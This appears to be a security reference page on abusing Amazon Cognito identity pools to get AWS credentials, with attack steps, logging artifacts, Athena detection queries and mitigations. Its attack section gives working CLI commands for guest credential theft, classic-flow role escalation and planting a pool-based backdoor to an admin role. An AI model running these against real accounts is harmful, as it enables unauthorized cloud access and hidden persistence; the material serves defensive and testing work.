How it works
An Amazon Cognito identity pool exists to hand out AWS credentials to application users. An identity is either authenticated (the user presented a token from a configured provider) or unauthenticated (a guest). The pool maps each state to an IAM role, and the role's trust policy accepts cognito-identity.amazonaws.com as a federated principal with two conditions: aud must be the pool ID, and amr must contain authenticated or unauthenticated.
The API calls that issue credentials are public. They need no AWS credentials, only the pool ID that every copy of the app contains. Two flows exist:
- Enhanced flow. The client calls
GetId, thenGetCredentialsForIdentity. Cognito chooses the role and calls STS in the background. For guests it adds an inline scope-down policy and the managed session policyAmazonCognitoUnAuthedIdentitiesSessionPolicy, which cap what the guest role can reach. - Basic (classic) flow. The client calls
GetId, thenGetOpenIdToken, and receives a pool-signed token that is valid for ten minutes. The client then callssts:AssumeRoleWithWebIdentityitself and names the role. The pool must haveAllowClassicFlowenabled, andGetOpenIdTokenfails on a pool that uses role mappings.
That design produces four abuse paths:
- Over-privileged guest role. The pool allows unauthenticated identities and the unauthenticated role can read buckets, tables or secrets. Anyone on the internet gets those permissions.
- Classic flow to skip the scope-down policy. Because the client composes the STS request, Cognito's guest session policies are not applied. A guest session carries the full permissions of the role.
- Classic flow to pick another role. The token can be exchanged for any role whose trust policy admits the pool and the token's
amr. An authenticated role that checks onlyaudcan be assumed by a guest. A role in another account can be assumed too when its trust policy has theaudcondition for the pool. - Self-registered "authenticated" users. When the pool trusts a user pool with open sign-up, the attacker registers an account and gets the authenticated role. See Cognito user pool abuse.
An attacker who already has access to the account can also create the weakness as a backdoor: enable guest access or the classic flow with UpdateIdentityPool, or point the pool at a more privileged role with SetIdentityPoolRoles. The way back in then needs no IAM user, access key or role session of the account.
Prerequisites
For the outside attack:
- The identity pool ID (
REGION:GUID). It is in the app bundle, the page source or the network traffic of the application. - For the guest path:
AllowUnauthenticatedIdentitiesis true on the pool. - For the classic flow:
AllowClassicFlowis true and the pool has no role mappings. To choose a role, its ARN and a trust policy that admits the pool. - For the authenticated path: a valid token from one of the pool's providers.
For the backdoor:
cognito-identity:UpdateIdentityPoolorcognito-identity:SetIdentityPoolRoles, andiam:PassRoleon the role that is set when it grants more than the caller already holds. A role that is useful as a target must trust the pool, which the attacker can arrange withiam:UpdateAssumeRolePolicy.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Get a guest identity and credentials (enhanced flow)
Both calls are unsigned:
aws cognito-identity get-id \
--identity-pool-id us-east-1:00000000-0000-0000-0000-000000000000 \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:11111111-1111-1111-1111-111111111111 \
--region us-east-1 --no-sign-request
The second call returns AccessKeyId, SecretKey and SessionToken. Export them and see who you are:
export AWS_ACCESS_KEY_ID=ASIAEXAMPLEKEYID
export AWS_SECRET_ACCESS_KEY=EXAMPLESECRETKEY
export AWS_SESSION_TOKEN=EXAMPLESESSIONTOKEN
aws sts get-caller-identity
The ARN in the answer names the unauthenticated role. From here the attacker tests what it can do, for example with permission enumeration.
2. Use the classic flow
aws cognito-identity get-open-id-token \
--identity-id us-east-1:11111111-1111-1111-1111-111111111111 \
--region us-east-1 --no-sign-request
# Same role, without Cognito's guest scope-down policy
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::111122223333:role/Cognito_AppUnauth_Role \
--role-session-name guest \
--web-identity-token "$COGNITO_TOKEN"
# Another role that trusts the pool, for example the authenticated one
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::111122223333:role/Cognito_AppAuth_Role \
--role-session-name guest \
--web-identity-token "$COGNITO_TOKEN"
Role names often follow the Cognito_<PoolName>Auth_Role and Cognito_<PoolName>Unauth_Role pattern that AWS uses in its own examples, which makes the ARN easy to guess. If the second call succeeds, the authenticated role's trust policy doesn't test amr.
3. Get the authenticated role with a provider token
With a token from a linked provider, pass it in --logins. For a user pool the key is the pool's issuer name and the value is the ID token:
aws cognito-identity get-id \
--identity-pool-id us-east-1:00000000-0000-0000-0000-000000000000 \
--logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE=$ID_TOKEN" \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:22222222-2222-2222-2222-222222222222 \
--logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE=$ID_TOKEN" \
--region us-east-1 --no-sign-request
Pacu automates the whole sequence against an external account, including sign-up in a linked user pool:
Pacu > run cognito__attack --username alice --password 'Example-Passw0rd!' --identity_pools 'us-east-1:00000000-0000-0000-0000-000000000000'
4. Plant a backdoor (with access to the account)
# Inventory
aws cognito-identity list-identity-pools --max-items 60
aws cognito-identity describe-identity-pool \
--identity-pool-id us-east-1:00000000-0000-0000-0000-000000000000
aws cognito-identity get-identity-pool-roles \
--identity-pool-id us-east-1:00000000-0000-0000-0000-000000000000
# Turn on guests and the classic flow
aws cognito-identity update-identity-pool \
--identity-pool-id us-east-1:00000000-0000-0000-0000-000000000000 \
--identity-pool-name AppPool \
--allow-unauthenticated-identities \
--allow-classic-flow
# Point the guest role at something stronger
aws cognito-identity set-identity-pool-roles \
--identity-pool-id us-east-1:00000000-0000-0000-0000-000000000000 \
--roles authenticated=arn:aws:iam::111122223333:role/Cognito_AppAuth_Role,unauthenticated=arn:aws:iam::111122223333:role/app-admin
UpdateIdentityPool resets every parameter that is not passed to its default, so a careless call drops the pool's login providers and breaks the application. Read the current configuration first and send it back with the one change. Inside a Pacu session, run cognito__enum --identity_pools lists the pools of the current account.
Impact
The attacker holds valid temporary credentials for a role in the account, obtained without stealing anything. What that means depends on the role: guest roles that were given s3:*, DynamoDB access or AdministratorAccess during development are the classic finding. An over-permissioned role behind a public pool is public AWS access.
As a persistence mechanism the pool is hard to spot. Reviews of IAM users, access keys and role trust policies that look for foreign accounts all pass, because the trusted principal is an AWS service and the caller is anonymous.
OPSEC and artifacts
- The credential requests are data events.
GetId,GetOpenIdTokenandGetCredentialsForIdentityare recorded only when a trail selects data events forAWS::Cognito::IdentityPool. CloudTrail Event history never contains them. In most accounts the guest path leaves no record at issuance. - The classic flow leaves one management event. The attacker's
AssumeRoleWithWebIdentitycall is logged understs.amazonaws.comin the role's account, withrequestParameters.roleArnshowing the role the client chose. A role ARN there that is not one of the pool's configured roles is the trace of role picking. - Cognito hides some values. Where data events are collected, private fields are replaced with
HIDDEN_DUE_TO_SECURITY_REASONS. That marker is redaction, not absence. - Use of the credentials is logged normally. Events of the session show the Cognito role as
sessionContext.sessionIssuer, from the attacker's own address. A guest role calling APIs the app never calls (IAM, STS, list operations across services) stands out. - Backdoor changes are management events.
UpdateIdentityPoolandSetIdentityPoolRolesare logged undercognito-identity.amazonaws.comwith the caller inuserIdentity. AWS's example record forCreateIdentityPoolshowsrequestParameters.allowUnauthenticatedIdentities. - A normal app produces the same traffic. Guest identity creation from many addresses is what a public app does all day, which is why volume says little.
Detection
- Configuration changes. The Cognito pool rules alert on SetIdentityPoolRoles, UpdateIdentityPool and CreateIdentityPool. Any caller other than the application's deployment pipeline needs an explanation.
- Trust policy changes that add
cognito-identity.amazonaws.comto a privileged role are covered by the role trust policy rules. - Role picking.
AssumeRoleWithWebIdentityfor a Cognito-trusting role that is not set on any pool, or from a client when the app only uses the enhanced flow. - Behavior of the guest role. Access denied bursts, enumeration calls and new services from sessions of the unauthenticated role.
-- Athena, CloudTrail table: identity pool configuration changes and who made them
SELECT
eventtime,
eventname,
useridentity.arn AS caller,
sourceipaddress,
json_extract_scalar(requestparameters, '$.identityPoolId') AS pool,
requestparameters,
errorcode
FROM cloudtrail_logs
WHERE eventsource = 'cognito-identity.amazonaws.com'
AND eventname IN ('CreateIdentityPool', 'UpdateIdentityPool', 'SetIdentityPoolRoles')
AND eventtime >= '2026-11-01T00:00:00Z'
ORDER BY eventtime
-- Where identity pool data events are collected: tokens and credentials handed out
SELECT eventtime, eventname, awsregion, sourceipaddress, errorcode
FROM cloudtrail_logs
WHERE eventsource = 'cognito-identity.amazonaws.com'
AND eventname IN ('GetId', 'GetOpenIdToken', 'GetCredentialsForIdentity')
AND eventcategory = 'Data'
AND eventtime >= '2026-11-01T00:00:00Z'
ORDER BY eventtime
A GetOpenIdToken success with no matching STS event leaves issuance open, not excluded. Read both before concluding that no credentials were handed out.
Mitigation
- Turn guest access off unless the application has a real guest mode. If it has, give the unauthenticated role only the few actions guests need, on named resources.
- Disable the classic flow. Leave
AllowClassicFlowoff where no client depends on it, so Cognito chooses the role and its guest scope-down policies always apply. - Write strict trust policies. Every role used with Cognito needs both conditions:
cognito-identity.amazonaws.com:audequal to the one pool ID, andForAnyValue:StringLikeoncognito-identity.amazonaws.com:amrforauthenticatedorunauthenticatedas intended.
{
"Effect": "Allow",
"Principal": { "Federated": "cognito-identity.amazonaws.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:00000000-0000-0000-0000-000000000000"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
- Rewrite legacy roles. Trust policies saved before AWS enforced the
audcondition still work without it. Find them and add the conditions. - Keep authenticated roles small too, with the least privilege the feature needs, and scope data access per identity with the
cognito-identity.amazonaws.com:subpolicy variable where the service supports it. - Restrict who can change pools. Allow
cognito-identity:UpdateIdentityPool,SetIdentityPoolRolesandCreateIdentityPoolonly to the deployment role of the owning team. - Log the data events for pools that front sensitive roles, and revoke the sessions of the pool's roles after any unexplained change, because credentials handed out earlier stay valid until they expire.
Detection rules for this attack
Log events to collect
FAQ
Is an identity pool ID a secret?
No. The app must send it to Cognito, so it ships inside the mobile app or the web page's JavaScript. GetId, GetOpenIdToken and GetCredentialsForIdentity are public APIs that need no AWS credentials. Security has to come from the roles behind the pool, not from hiding the ID.
What does the classic flow change for an attacker?
In the enhanced flow Cognito picks the role and applies a scope-down session policy to guests. In the basic (classic) flow the client receives an OpenID token and calls AssumeRoleWithWebIdentity itself, so it chooses the role and no scope-down policy applies. Any role whose trust policy admits the pool and the token's amr value can be assumed.
Can a guest assume the authenticated role?
Through the classic flow, yes, if the authenticated role's trust policy checks only the pool ID (aud) and not that cognito-identity.amazonaws.com:amr contains authenticated. The guest token carries the same audience, so only the amr condition separates the two roles.
Why don't I see the credential requests in CloudTrail?
GetId, GetOpenIdToken and GetCredentialsForIdentity are data events for the AWS::Cognito::IdentityPool resource type. A trail records them only when it selects them, and Event history never shows them. The classic flow's AssumeRoleWithWebIdentity call is a management event and is recorded.
References
- Identity pools authentication flow: enhanced and basic (Amazon Cognito Developer Guide)
- IAM roles for identity pools: trust policies, scope-down policies (Amazon Cognito Developer Guide)
- Amazon Cognito logging in AWS CloudTrail (Amazon Cognito Developer Guide)
- GetCredentialsForIdentity (Amazon Cognito Federated Identities API reference)
- GetOpenIdToken (Amazon Cognito Federated Identities API reference)
- Valid Accounts: Cloud Accounts, T1078.004 (MITRE ATT&CK)
- Pacu: the AWS exploitation framework (Rhino Security Labs)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.